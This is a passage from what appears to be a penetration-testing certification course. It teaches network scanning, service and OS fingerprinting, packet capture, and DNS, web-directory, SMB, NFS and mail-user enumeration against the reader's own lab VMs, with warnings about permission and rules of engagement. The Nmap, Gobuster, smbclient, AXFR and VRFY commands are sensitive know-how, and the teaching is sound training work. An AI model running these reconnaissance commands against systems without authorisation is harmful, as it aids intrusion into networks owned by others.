9. Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com

One packet, three answers

Send one TCP packet with the SYN flag set to port 21 of your Metasploitable VM, and one of three things happens. If a program is listening, the VM replies with SYN/ACK, the second step of the TCP handshake. If nothing is listening, it replies with RST, a reset. If a firewall drops the packet, nothing comes back at all, or an ICMP "unreachable" message arrives from somewhere in between. Every port scanner, from the simplest to Nmap, is built on reading those answers carefully.

This lesson walks through the active part of reconnaissance in your own lab, in the order a tester works:

1. find the hosts
2. find their open ports
3. ask each service what it is
4. ask each host what it is
5. enumerate the protocols
6. watch it all on the wire

Then it runs the same scans against a target behind a firewall, to show how every answer changes. If the TCP handshake needs a refresher, the site's Network+ Certification Prep covers it in full.

Exam objectives: 2.1 (network reconnaissance; protocol scanning, TCP and UDP; banner grabbing; network sniffing, including IoT and OT protocols), 2.2 (host discovery, service discovery, OS fingerprinting, protocol enumeration) and 2.4 (Nmap and the Nmap Scripting Engine, Wireshark and tcpdump).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command in this lesson names an address on your own host-only lab network, and nothing else. On a client engagement, active scanning is exactly the kind of activity that must sit inside the signed scope and testing window, because the client's monitoring may notice it. Nmap's author also warns that some fragile or poorly written devices have crashed under particular scans, which is why OT networks get special treatment later in this lesson.

Start Metasploitable, then on Kali run ip -br addr to confirm your host-only interface (often eth1) and your addresses. This lesson writes Kali as 192.168.56.101 and Metasploitable as 192.168.56.102.

Step 1: Find the hosts

Host discovery answers the first question of network reconnaissance: which addresses have something alive behind them? You ran it in Lesson 2: sudo nmap -sn 192.168.56.0/24. The -sn option skips the port scan. By default, Nmap's documentation says, it sends an ICMP echo request, a TCP SYN to port 443, a TCP ACK to port 80 and an ICMP timestamp request. On a local Ethernet network such as your host-only network, Nmap uses ARP requests instead, even if you ask for other probes, because ARP is almost always faster and more effective there.

Two complications matter in real networks. Many hosts and firewalls block ICMP, so a host can be up but silent; the -Pn option skips discovery and scans every listed address as if it were up. And network reconnaissance is more than a host list: note the gateways, the subnets each host sits in, and the route between them, which Nmap's --traceroute option records. A host with addresses in two networks is a possible bridge between them, a theme that returns in Module 8.

Step 2: Find the open ports

Port scanning is the exam's "protocol scanning". By default Nmap scans the 1,000 most common ports for each protocol; -p- scans all 65,535 TCP ports. Run both against your target and compare:

• sudo nmap -sS 192.168.56.102 (the 1,000 most common TCP ports)
• sudo nmap -sS -p- -T4 192.168.56.102 -oA lab-full (every TCP port, saved in three formats)

Here is the shape of the full scan's report, abridged. Rapid7's guide lists 30 open TCP ports on this VM, and the high-numbered ones will differ on yours.

Nmap scan report for 192.168.56.102
Host is up (0.00028s latency).
Not shown: 65505 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
80/tcp   open  http
445/tcp  open  microsoft-ds
3632/tcp open  distccd
[further ports removed]
MAC Address: 08:00:27:11:22:33 (Oracle VirtualBox virtual NIC)

The "Not shown" line says why most ports are missing from the table: they answered with a reset. The SERVICE column is only a lookup of the port number in Nmap's services file, not a test of what is listening. Step 3 does that test.

The -sS option is a SYN scan, the default when Nmap has raw-packet privileges. It is often called half-open scanning, because Nmap never completes the handshake: a SYN/ACK marks the port open and Nmap sends a reset; a RST marks it closed; silence after retries marks it filtered. Without privileges, Nmap falls back to a connect scan (-sT), which completes every handshake through the operating system and is more likely to be logged.

Nmap reports six port states, and the exam expects you to read them.

UDP needs its own scan: sudo nmap -sU --top-ports 20 192.168.56.102. It is slow for a reason. A closed UDP port normally answers with an ICMP port unreachable message. An open or filtered one usually says nothing, so Nmap must wait and retry. Many systems, Linux among them, also rate-limit those ICMP messages. Nmap's documentation calculates that a one-per-second limit could stretch a full 65,536-port UDP scan past 18 hours. Scan the UDP ports that matter, such as DNS (53), SNMP (161) and NTP (123), rather than all of them.

The exam's "stealth scans" go further. NULL, FIN and Xmas scans (-sN, -sF, -sX) send segments with no flags, only FIN, or FIN, PSH and URG. They rely on a rule in RFC 793: a closed port should answer such a segment with RST, and an open one should drop it. Many Unix-like systems follow the rule, but Microsoft Windows, many Cisco devices and others send RST regardless, so every port looks closed.

Timing matters too: Nmap's templates run from -T0 (paranoid) and -T1 (sneaky), designed to slip under intrusion detection, through -T3 (normal, the default) to -T4 (aggressive) and -T5 (insane). On a client network, slower is gentler; the ROE may set a maximum rate.

What matters here: "filtered" and "open|filtered" are statements about what Nmap could not see, not about what is there. Write them up as unknowns, never as "closed".

Step 3: Ask each service what it is

An open port is only a number. Service discovery turns it into a name and a version. The simplest way is banner grabbing: connect and read what the service says first. With Netcat, nc -nv 192.168.56.102 21 connects to the FTP port and prints its greeting line; type QUIT to leave. Try port 25 (SMTP) and port 22 (SSH) the same way. Many services announce their software and version in that first line, as the FTP service does here:

(UNKNOWN) [192.168.56.102] 21 (ftp) open
220 (vsFTPd 2.3.4)

Nmap's banner script does the same at scale: sudo nmap --script banner -p 21,22,25 192.168.56.102.

Version detection goes further. sudo nmap -sV -p 21,22,25,80,445 192.168.56.102 sends probes from Nmap's service-probes database and matches the replies, reporting the service protocol, the application name and version, and sometimes the hostname, device type and operating system family. The --version-intensity option, from 0 to 9 with a default of 7, trades thoroughness for time.

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Compare that with your banners. Port 445 prints nothing useful to Netcat, because an SMB server waits for the client to speak first, so only the probes in -sV can name Samba. That is when you reach for -sV over a hand-grabbed banner: any service that does not greet you, or many ports at once.

Remember that a banner is a claim. Administrators can change or hide banners, and a patched service may still report an old version number, because some vendors back-port fixes without changing it. Lesson 12 turns this into a validation step before any finding is reported.

Step 4: Ask the host what it is

Operating system fingerprinting identifies the target's operating system from how its TCP/IP stack behaves. Run sudo nmap -O 192.168.56.102. Nmap sends a series of TCP and UDP probes and measures details such as initial sequence numbers, TCP options and their order, IP ID patterns and window sizes. It compares the result with a database of more than 2,600 known fingerprints. Its documentation says OS detection is far more effective when it finds at least one open and one closed TCP port. That is why --osscan-limit skips hosts without both. The --osscan-guess option reports near-matches with a confidence percentage.

Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

That is a kernel family and range, not a product name: Nmap does not say Ubuntu here, though the version strings from Step 3 do. A perfect match shows no percentage; confidence figures appear only when Nmap prints near-matches.

Fingerprinting can also be passive. Tools such as p0f, which NIST SP 800-115 lists among discovery tools, infer the operating system from traffic you capture rather than from probes you send, which is quieter and safer on fragile networks.

Step 5: Enumerate the protocols

Protocol enumeration asks what a service supports, not just what it is: which SMB dialects, which SSH ciphers, which TLS versions. This is where the Nmap Scripting Engine (NSE) earns its place. Scripts are grouped into categories: safe scripts are not designed to crash services, use heavy resources or exploit flaws, and discovery scripts query for information. Other categories, such as brute, dos, exploit, intrusive and vuln, do things your ROE may forbid, so name your categories explicitly.

• sudo nmap --script smb-protocols -p 445 192.168.56.102 lists the SMB dialects the server accepts and flags SMBv1, an outdated and risky version.
• sudo nmap --script ssh2-enum-algos -p 22 192.168.56.102 reports the encryption, key exchange and compression algorithms the SSH server offers; outdated ones become findings.
• sudo nmap --script "discovery and safe" -p 21,22,25,80 192.168.56.102 runs only scripts in both categories, a sensible ceiling for this course. On a client network, add and not external to the expression: some of those scripts, such as whois-ip, send the target's address to third-party services.

The -sC option runs the default category. Nmap chooses default scripts to be fast, useful, concise, reliable and, almost always, safe, but read what a script does before pointing it at a client.

Step 6: Watch it on the wire

Network sniffing shows you what your tools actually send, and what the network says when nobody is probing it. In one Kali terminal start a capture: sudo tcpdump -i eth1 -n -w /tmp/scan.pcap host 192.168.56.102. The -i option picks the interface, -n keeps addresses numeric, and -w writes raw packets to a file.

The path matters: Debian's tcpdump package, which Kali carries, drops root privileges to its own tcpdump user before it opens the output file, so a file in your home folder fails with "Permission denied".

In a second terminal run sudo nmap -sS -p 21,23,8888 192.168.56.102, then stop the capture with Ctrl+C. Read it back with tcpdump -n -r /tmp/scan.pcap, or open it in Wireshark and apply the display filter tcp.flags.syn == 1 and tcp.flags.ack == 1 to see only SYN/ACK replies. Port 8888 should show your SYN answered by a RST, the signature of a closed port.

In tcpdump's text, S is SYN, a dot is ACK and R is RST. The lines to look for read like this; your numbers will differ.

14:02:11.120001 IP 192.168.56.101.51123 > 192.168.56.102.21: Flags [S], seq 3187654321, win 1024, options [mss 1460], length 0
14:02:11.120402 IP 192.168.56.102.21 > 192.168.56.101.51123: Flags [S.], seq 2090123456, ack 3187654322, win 5840, options [mss 1460], length 0
14:02:11.120430 IP 192.168.56.101.51123 > 192.168.56.102.21: Flags [R], seq 3187654322, win 0, length 0
14:02:11.120511 IP 192.168.56.101.51123 > 192.168.56.102.8888: Flags [S], seq 3187654321, win 1024, options [mss 1460], length 0
14:02:11.120790 IP 192.168.56.102.8888 > 192.168.56.101.51123: Flags [R.], seq 0, ack 3187654322, win 0, length 0

Line 2 is the SYN/ACK that proves port 21 open. Line 3 is Kali's own reset, the half-open scan tearing the connection down, so a RST coming from your side says nothing about the port. Line 5 is the target's reset, which is what marks port 8888 closed. Read the direction before you read the flag.

In industrial and building networks, sniffing is not just a learning aid; it is the safer way to do reconnaissance. NIST SP 800-82 Revision 3 repeatedly warns that active scanning can disrupt operational technology. It recommends passive monitoring from SPAN ports or network taps. Any active tool should be tested on non-production systems first and used during planned downtime. Learn the common ports so you recognize the protocols in a capture:

Lesson 22 explains how these protocols are attacked and defended. For reconnaissance, the point is that a capture from a mirror port can reveal every controller, its role and its partners without sending it a single packet.

A second run: the same target behind a firewall

Now change one input. On Metasploitable, log in as msfadmin and block the FTP port with its host firewall: sudo iptables -A INPUT -p tcp --dport 21 -j DROP. (If your image lacks iptables, read this section as a thought experiment.) Rescan with sudo nmap -sS -p 21,22 192.168.56.102.

• Port 21 changes from open to filtered. The SYN now gets no answer at all, so Nmap cannot tell whether anything listens.
• Port 22 is unchanged. The rule touched only port 21, which is how a real firewall's allow list looks to a scanner.
• Banner grabbing fails. nc -nv 192.168.56.102 21 hangs and times out instead of printing a greeting.
• Your capture shows the difference. SYNs to port 21 go out and nothing comes back, where before there was a SYN/ACK.

Had the firewall dropped ICMP and every probe Nmap uses for discovery on a routed network, the host would have looked down and you would have needed -Pn to scan it at all. When you finish, restore Metasploitable's snapshot rather than removing the rule by hand.

Exam cues: which scan, flag or state the stem wants

Objectives 2.1, 2.2 and 2.4 begin "Given a scenario", and these are the pairs people mix up.

How scan results are reported

Raw scans are evidence, not findings. Keep the files from -oA (normal, XML and the deprecated grepable format) with the date, time and source address, because the client may need to match your scans to its own logs. Then turn the results into findings that say what is exposed and why it matters. Telnet open on a server is a cleartext login exposure, with the recommendation to disable it and use SSH. An SMB server accepting SMBv1 is an outdated-protocol finding, with the recommendation to disable SMBv1. Unknowns, such as filtered ports, go in the report's limitations rather than being silently dropped.

Common misconceptions

• "Filtered means closed." Filtered means Nmap could not tell. Something may be listening behind the filter.
• "A host that does not answer ping is down." Many hosts block ICMP. Use -Pn when the scope says the host exists.
• "A SYN scan is invisible." Half-open scans avoid completed connections in application logs, but firewalls and intrusion detection systems see them easily.
• "The banner proves the version." Banners can be changed, hidden or out of date after back-ported patches. Treat them as claims to validate.
• "NSE scripts are all safe because they ship with Nmap." Categories include brute, dos, exploit and intrusive. Choose categories that your ROE allows.

Recap

• A SYN answered by SYN/ACK means open, by RST means closed, and by silence or ICMP unreachable means filtered.
• Host discovery (-sn) uses ARP on local Ethernet and a mix of ICMP and TCP probes elsewhere; -Pn skips it.
• Nmap scans 1,000 common ports by default and all 65,535 with -p-; UDP scans are slow because open ports rarely reply and ICMP is rate-limited.
• NULL, FIN and Xmas scans depend on RFC 793 behavior that Windows and many other systems do not follow.
• Banner grabbing, -sV and -O identify services, versions and operating systems; safe and discovery NSE scripts enumerate protocols.
• tcpdump and Wireshark show what your tools send; on OT networks, passive capture from a SPAN port or tap is the safer reconnaissance.
• Save raw output as evidence, report exposures with fixes, and list unknowns as limitations.

Sources

1. Lyon, G. (n.d.). Nmap reference guide: Host discovery; Port scanning basics; Port scanning techniques; Port specification and scan order; Service and version detection; OS detection; Timing and performance; Output. host discovery; port states; scan techniques; port specification; version detection; OS detection; timing; output
2. Lyon, G. (n.d.). Usage and examples (NSE script categories) and Legal issues (crash risk). In Nmap network scanning; and NSE documentation for the banner, smb-protocols, ssh2-enum-algos and whois-ip scripts. nmap.org (legal issues); whois-ip; nmap.org (NSE usage); banner; smb-protocols; ssh2-enum-algos
3. The Tcpdump Group. (n.d.). tcpdump(1) manual page. tcpdump.org; Debian tcpdump package. (n.d.). debian/rules, version 4.99.6-2 (builds with a dedicated tcpdump user). tracker.debian.org; Wireshark Foundation. (n.d.). Display filter reference: Transmission Control Protocol. wireshark.org
4. Internet Assigned Numbers Authority. (n.d.). Service name and transport protocol port number registry (entries for ports 502, 1883, 20000 and 47808). iana.org
5. Rapid7. (n.d.). Metasploitable 2 exploitability guide (used here only for the list of open ports). docs.rapid7.com
6. Stouffer, K., et al. (2023). Guide to operational technology (OT) security (NIST Special Publication 800-82 Rev. 3). National Institute of Standards and Technology. csrc.nist.gov
7. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 4 and Appendix A. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)

Seven true observations and one wrong conclusion

At 4:10 on a Thursday afternoon, Mara, a fictional junior tester, closed her enumeration notes on an in-scope Linux server with one sentence: nothing else to enumerate, moving on to vulnerability scanning. The server was the same Metasploitable VM you scanned in Lesson 7. These are her notes.

Target 192.168.56.102. Open from my Nmap scan: 25, 53, 80, 111, 139, 445, 2049 and others.
1 DNS      dig 192.168.56.102: no servers could be reached.     -> No DNS data here.
2 Web      Gobuster with common.txt: no /dvwa, no /mutillidae.  -> Those apps are not installed.
3 Shares   smbclient from the jump box: negotiation failed.     -> SMB is closed to me.
4 Users    VRFY msfadmin returned 252. RFC: 252 = cannot verify. -> No user data.
5 Perms    enum4linux on tmp share says Writing: N/A.           -> Not writable.
6 Secrets  grep -i password on the home page: 0 hits.           -> No secrets.
7 WAF      http-waf-detect printed nothing.                     -> No WAF. Nothing to note.
Conclusion: nothing else to enumerate. Moving to vulnerability scanning.

Everything left of the arrows happened. Everything right of them is wrong, each for a different reason. She made seven errors:

• She asked the wrong server.
• She trusted a list that lacked the words.
• She blamed the server for her own client's limits.
• She read a reply code without a control.
• She read "not tested" as "no".
• She searched the wrong place for one word.
• She took a tool's silence for a fact.

Those seven errors are this lesson's seven stops.

Enumeration is the step after scanning. A port scan asks what is listening; enumeration asks the listening service what it knows. It works because these protocols were built to answer: DNS exists to publish names, file servers list their shares so clients can browse them, and mail servers must decide which recipients are real. Your job is to ask the right question, read the reply exactly, and know what the reply does not prove.

Exam objectives: 2.2 (DNS, directory, share, local user, email account, permission and secrets enumeration, including cloud access keys, passwords, API keys and session tokens; web crawling; manual enumeration of robots.txt, sitemaps and platform plugins; WAF enumeration, including the origin address; attack path mapping) and 2.4 (Amass, DNSdumpster, theHarvester, Hunter.io, nslookup and dig).

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command in this lesson names an address on your own lab: 192.168.56.102 for Metasploitable and 127.0.0.1 for Juice Shop. Anything about any other network is fictional data printed on the page.

Enumeration needs more care on a client than scanning does, because some of it looks like an attack. Lesson 7 called "discovery and safe" a sensible ceiling for NSE scripts, and several scripts here sit above it.

Nmap files smb-enum-shares under discovery and intrusive, smb-enum-users under auth and intrusive, and smtp-enum-users under auth, external and intrusive. Nmap uses intrusive for scripts whose risk of crashing something, using heavy resources or being taken for an attack is too high to call safe.

That is fine on your own VM. On an engagement, the ROE has to allow it, along with directory brute forcing and any contact with staff.

Start Metasploitable and keep Kali's NAT adapter not attached. Gobuster, enum4linux and the dirb wordlists are all in Kali's default image. If a tool is missing, shut the target down before you reconnect the NAT adapter to install it. If your computer cannot run Metasploitable, read the sample outputs below as your evidence.

Line 1: the Domain Name System asked the wrong way

Mara typed dig 192.168.56.102 and got a timeout. The tool, whose name the exam's acronym list expands as DIG, the Domain Information Groper, takes the server to ask after an @ sign: dig @server name type. Without the @, her address was just a name to look up, and the question went to whichever resolver /etc/resolv.conf lists. With Kali's NAT adapter unplugged, no resolver was reachable. Her message described her own machine and said nothing about the target.

Ask the target directly. These four lookups are your DNS enumeration of the lab:

dig @192.168.56.102 version.bind txt chaos +short
dig @192.168.56.102 localhost A +short
dig @192.168.56.102 localhost AXFR
nslookup localhost 192.168.56.102

The first asks what software answers. BIND replies to a TXT query for version.bind in the CHAOS class with its real version unless an administrator changes that setting. Published scans of this image report ISC BIND 9.4.2 and say recursion appears to be enabled, so expect "9.4.2". A version string is already something to carry into Module 4. The last line is the same idea in nslookup, the older tool from Lesson 6, whose form is nslookup name server: the server goes last and takes no @.

Here this lab runs out, and you should know that before building on it. The published scans confirm the version and the recursion, but no published source we found lists this image's zones, so find out yourself: log in on Metasploitable's console as msfadmin and run grep zone /etc/bind/named.conf*.

Expect only stock entries such as localhost and the loopback reverse zones, with nothing resembling a company's domain. The localhost lookup should give 127.0.0.1 at most. The AXFR should print a few lines or ; Transfer failed. Questions about outside names should end in SERVFAIL or a timeout, because the server tries to recurse toward an internet it cannot reach.

Write down what you get. An empty result recorded accurately is evidence. Mara's was not, because she never asked.

What a fuller zone gives away: SOA, CNAME and zone transfers

Since your lab's server has nothing worth copying, here is what a real answer looks like. The data is fictional, using example.com and documentation addresses. It is a successful DNS zone transfer, an AXFR request that asks an authoritative name server for the entire zone:

example.com.             3600 IN SOA   ns1.example.com. hostmaster.example.com. 2026110301 7200 1800 1209600 300
example.com.             3600 IN NS    ns1.example.com.
example.com.             3600 IN MX    10 mail.example.com.
example.com.             3600 IN TXT   "v=spf1 ip4:198.51.100.7 -all"
www.example.com.         3600 IN CNAME example-com.waf-provider.example.net.
vpn.example.com.         3600 IN A     203.0.113.30
staging-api.example.com. 3600 IN A     203.0.113.44
ftp.example.com.         3600 IN A     198.51.100.7
example.com.             3600 IN SOA   ns1.example.com. hostmaster.example.com. 2026110301 7200 1800 1209600 300

Each name in the left column is a fully qualified domain name (FQDN): the complete name, every label up to the root, which is what the trailing dot marks. RFC 9499 notes that people usually write it without the dot and still call it fully qualified. A mail banner can hand you one for free, as you will see at Line 4.

Why does a server hand all this over? AXFR exists so that secondary name servers can copy a zone from the primary. If nothing restricts who may ask, a tester gets the same copy.

RFC 5936 says implementations should offer a way to limit transfers and should not default to open. BIND's default stayed permissive until the 9.20 release notes announced that outgoing transfers are no longer enabled by default, so older servers such as your lab's are the likely place to see one.

Testers try it early because a single request can replace days of guessing. The evidence is the transfer output with its date and source. Defenders see an AXFR from an address that is not a secondary in the name server's logs. The fix is allow-transfer limited to the named secondaries, ideally with TSIG keys.

Now change one input. Suppose the administrator adds that restriction and you repeat the request. The whole reply becomes one line, ; Transfer failed., and the finding disappears. OWASP's testing guide says most servers now refuse, while still calling it worth trying. So you fall back on three slower methods:

• a reverse sweep of the in-scope range, one PTR lookup per address
• guessing names from a wordlist with dnsrecon, dnsenum or gobuster dns
• permuting names you already know

Those guesses show up in the client's logs as bursts of failed lookups.

Two traps wait there. A wildcard record makes every guess resolve, so look up a random name that cannot exist before you trust a hit. And RFC 8482 lets servers give a minimal reply to an ANY query, so an almost empty ANY answer does not mean the records are absent. Ask for each type.

Each tool's output has its own shape. Older Amass releases, and many guides, print each relationship as a line:

www.example.com (FQDN) --> cname_record --> example-com.waf-provider.example.net (FQDN)
vpn.example.com (FQDN) --> a_record --> 203.0.113.30 (IPAddress)

Version 5, the one Kali packages, keeps findings in an asset database and reads them back through subcommands such as subs, assoc and viz. theHarvester prints plain lists under headings, as in this fictional run, and DNSdumpster gives you a web page of the domain's DNS records and related hosts:

[*] Target: example.com
[*] Emails found: 2
----------------------
jane.doe@example.com
sam.lee@example.com
[*] Hosts found: 2
---------------------
mail.example.com
vpn.example.com

All of these work on real domains, and this course runs commands only against your own lab, so no command line for them appears here. Where an account or key is needed, read the terms first, as Lesson 6 explained.

Bottom line: check who you actually asked. A timeout from your own resolver says nothing about the target, and a refused transfer closes only one of several routes to the same names.

Line 2: directory enumeration and the limits of a wordlist

Directory enumeration requests a list of likely names, one after another, and reports whatever does not come back 404. MITRE ATT&CK files this under T1595.003, Wordlist Scanning. Mara used Gobuster, a fast Go tool whose dir mode does exactly this. Run it, then read the home page's links yourself:

gobuster dir -u 192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -q
curl -s 192.168.56.102/ | grep -o 'href="[^"]*"'

Gobuster assumes plain HTTP when you give no scheme and no port. Trimmed to names and status codes, expect something like the first block; published scans of the image report these paths, and your run may list more. The second block is what the home page's five links should give.

/dav            (Status: 301)
/phpMyAdmin     (Status: 301)
/phpinfo.php    (Status: 200)
/test           (Status: 301)
/twiki          (Status: 301)

href="/twiki/"
href="/phpMyAdmin/"
href="/mutillidae/"
href="/dvwa/"
href="/dav/"

Kali's common.txt has about 4,600 entries, and neither dvwa nor mutillidae is among them. The tool never asked for those paths, so its silence meant nothing. The apps Mara declared missing were linked from the front page. The reverse holds too: nothing on the home page links to /phpinfo.php, so reading links alone would have missed a page that prints a lot of system information.

Prove it with one changed input. Make a two-word list and run again:

printf 'dvwa\nmutillidae\n' > extra.txt
gobuster dir -u 192.168.56.102 -w extra.txt -q

Both paths now appear. Same server, same tool, and the result flips because of the list. That is why testers build lists from what they have already learned about a target, and why larger collections such as SecLists exist.

Web crawling is the other half. A web crawler fetches a page, pulls out its links, visits them and repeats, so it maps what the site itself points to, using requests that look like ordinary browsing. ZAP's Spider does this and can also read robots.txt and sitemap.xml for starting points; its AJAX Spider drives a real browser for pages built by JavaScript. That last point matters at 127.0.0.1:3000. Juice Shop's HTML ships an empty app-root element and no ordinary links, so a plain crawler sees almost nothing. Lesson 9 hits that wall with a Python scraper and modifies the script to get past it.

One more false result to recognize. Some applications answer every path with 200 and a friendly "not found" page. Gobuster checks for this first by requesting a random name, and stops with a message like this one (fictional target):

Error: the server returns a status code that matches the provided options for non existing urls.
https://app.example.com/5f1c9e02 => 200 (Length: 1043). Please exclude the response length or the
status code or set the wildcard option.

Believing a hit list from such a server would give you thousands of paths that do not exist. Filter on the repeated response length with --exclude-length, then read what is left. Defenders notice wordlist scans easily: one client, hundreds of 404s a minute, in alphabetical order. On a client, the ROE may cap the rate, and --delay honors it. The fixes are to remove what should not be there, deny by default, put authentication on administrative paths and turn off directory listings.

Manual enumeration: robots.txt, sitemaps and platform plugins

Before you run any list, read what the site publishes about itself. Manual enumeration takes a handful of ordinary requests, so it is cheap and nearly invisible. These three are the exam's named sources.

Robots.txt sits at the root of a site and tells crawlers which paths to skip. RFC 9309, which standardized it, says plainly that its rules are not a form of access authorization, and warns that listing a path makes it discoverable. Read the file in your lab:

curl -s 127.0.0.1:3000/robots.txt
curl -s 192.168.56.102/mutillidae/robots.txt

Juice Shop's source configures its reply as a single rule, and Mutillidae's project copy, trimmed here, names several directories (the older copy on your VM may differ slightly):

User-agent: *
Disallow: /ftp

User-agent: *
Disallow: data/
Disallow: passwords/
Disallow: config.inc
Disallow: classes/

Rapid7's guide lists Mutillidae's robots.txt as containing directories that are supposed to be private. Asking crawlers to avoid a folder called passwords is a signpost for everyone who is not a polite crawler. The rule proves nothing about whether the path is reachable, so you test that next, with a request for headers only, as Line 6 shows.

Sitemaps do the opposite job: an XML file, usually sitemap.xml and often named in robots.txt, lists the pages an owner wants search engines to find, up to 50,000 URLs per file. On your lab, expect curl -s -o /dev/null -w '%{http_code}\n' 192.168.56.102/sitemap.xml to print 404, and record that. On a real site it can look like this fictional sample, where the date tells you what changed last week:

<url><loc>https://www.example.com/careers/</loc><lastmod>2026-09-14</lastmod></url>
<url><loc>https://www.example.com/partners/portal-migration/</loc><lastmod>2026-10-30</lastmod></url>

Platform plugins are where versions leak. On WordPress, plugins live under wp-content/plugins, and WordPress's readme format includes a Stable tag line, so one file can name an exact version:

=== Acme Forms ===            (fictional plugin)
Requires at least: 6.2
Stable tag: 2.4.1

WPScan automates this; Lesson 18 returns to it. Its vulnerability data needs an API token from an account, with 25 free requests a day when this was checked. Your lab has the same pattern without WordPress: Nikto's published scan of the image found a bundled change log, so curl -s 192.168.56.102/phpMyAdmin/ChangeLog | head -5 should tell you which phpMyAdmin you face. The fix is to remove bundled readme and change log files from production, keep plugins patched and remove unused ones.

Line 3: Server Message Block and Network File System shares

Mara ran smbclient from a jump box and read protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED (the status varies by version). She blamed the server. The fault was at her end. Server Message Block clients and servers agree on a version when they connect. Samba's documented default for its client is a floor of SMB2_02, and Metasploitable's Samba 3.0.20 speaks only the older SMB1 dialect, which Samba calls NT1. Her client refused to go that low, so the conversation ended before any share was mentioned.

Kali avoids this on purpose. Since Kali 2021.4 its Samba client ships in a Wide Compatibility mode that enables the legacy protocols, switchable in kali-tweaks to Strong Security. On any other client, or on a Kali you hardened, Samba's manual gives a per-command override: add --option='client min protocol=NT1'. Either way, a failure to negotiate tells you about two versions. It does not tell you about shares.

From stock Kali, share enumeration takes two commands. -L asks for the list and -N sends no password, a so-called null session:

smbclient -L //192.168.56.102 -N
enum4linux -S 192.168.56.102

Anonymous login successful
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

//192.168.56.102/print$   Mapping: DENIED  Listing: N/A  Writing: N/A
//192.168.56.102/tmp      Mapping: OK      Listing: OK   Writing: N/A
//192.168.56.102/opt      Mapping: DENIED  Listing: N/A  Writing: N/A

The top block comes from Rapid7's guide and the bottom from a published 2025 enum4linux run, both trimmed, with the address changed to yours. Sharename and Comment are the server's own words. Mapping means an anonymous connection succeeded, and Listing means the connection could read the directory. So you now know that anyone on this network can browse tmp without a login. Nmap's smb-enum-shares gives similar results and adds a useful point: even when listing is restricted, trying to connect to a share reveals whether it exists, so hiding the list does not hide the share.

enum4linux, written in Perl, is still in Kali at version 0.9.1; its Python rewrite, enum4linux-ng, is a separate install, and NetExec, the continuation of CrackMapExec, does this work at scale.

Unix shares use the Network File System (NFS). Your earlier scan showed rpcbind on 111 and NFS on 2049. Ask the portmapper what is registered, then ask for the export list:

rpcinfo -p 192.168.56.102
showmount -e 192.168.56.102

Export list for 192.168.56.102:
/ *

That last line is the most serious output in this lesson. The slash is the root of the file system and the star means any client. If showmount or rpcinfo is missing (they come from the nfs-common and rpcbind packages), sudo nmap --script nfs-showmount -p 111 192.168.56.102 reads the same list and is rated discovery and safe. Stop there. Reading the export list is enumeration; mounting it is the next step of an attack, and in this course the finding is the list.

Defenders can see anonymous logons, and on Windows, event 5140 records access to a network share when file share auditing is on. The fixes are specific. On Windows, turn on the policy that blocks anonymous enumeration of SAM accounts and shares. In Samba, set restrict anonymous = 2, disable SMB1 and require logins. For NFS, export only the directories that are needed, to named clients.

Line 4: local users and email accounts

Mara read RFC 5321 correctly. It says a site that disables VRFY must answer 252, and 252 means the server cannot verify the user. Then she stopped, and that was the mistake: one reply is not a test. Add a control, a name that cannot exist:

nc -nv 192.168.56.102 25
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
VRFY msfadmin
252 2.0.0 msfadmin
VRFY nosuchuser7
550 5.1.1 <nosuchuser7>: Recipient address rejected: User unknown in local recipient table
QUIT

The difference is the finding. Postfix's source code shows why: VRFY runs the same recipient check as real mail, returns the error if the check fails, and otherwise answers 252. Reply code 250 is reserved for certainty, which Postfix never claims. When an administrator sets disable_vrfy_command = yes, every name gets 502 5.5.1 VRFY command is disabled. Read the three replies together:

The same flaw appears wherever an interface answers a real name differently from a fake one. OWASP's testing guide treats login pages this way, comparing error messages, response lengths, status codes and page titles. On a lab, smtp-user-enum or Nmap's smtp-enum-users automates the mail version. Postfix's documentation is candid about the limits of its switch, saying it stops some harvesting techniques. A burst of VRFY or RCPT commands for unknown names is what defenders watch for.

From outside the mail server, email addresses come from public sources, without touching the target. theHarvester collects them with hosts and names. Hunter.io's Domain Search returns an organization's address pattern and a confidence score for each address, as in this fictional sample:

"domain": "example.com",
"pattern": "{first}.{last}",
"emails": [ { "value": "jane.doe@example.com", "confidence": 92 } ]

Metadata adds names too. Photos carry EXIF (Exchangeable Image File Format) fields such as the camera's owner and GPS position. ExifTool reads those along with the author fields of office documents, which is the lab step you did in Lesson 6. Treat all of this as evidence about accounts, and keep it inside what the ROE allows for research on staff.

Local user enumeration means listing accounts on a host, and it has a remote and a local form. Remotely, Samba and older Windows configurations answer anonymous questions through two services. SAMR returns a full user list; LSA can translate numeric relative identifiers (RIDs) into names, so a tool walks through the numbers, a method called RID cycling that is extremely noisy. Run enum4linux -U 192.168.56.102 and expect lines like these from a published run:

index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin  Name: msfadmin,,,          Desc: (null)
index: 0x6  RID: 0xbba acb: 0x00000010 Account: user      Name: just a user,111,,    Desc: (null)
index: 0x8  RID: 0x3e8 acb: 0x00000011 Account: root      Name: root                 Desc: (null)

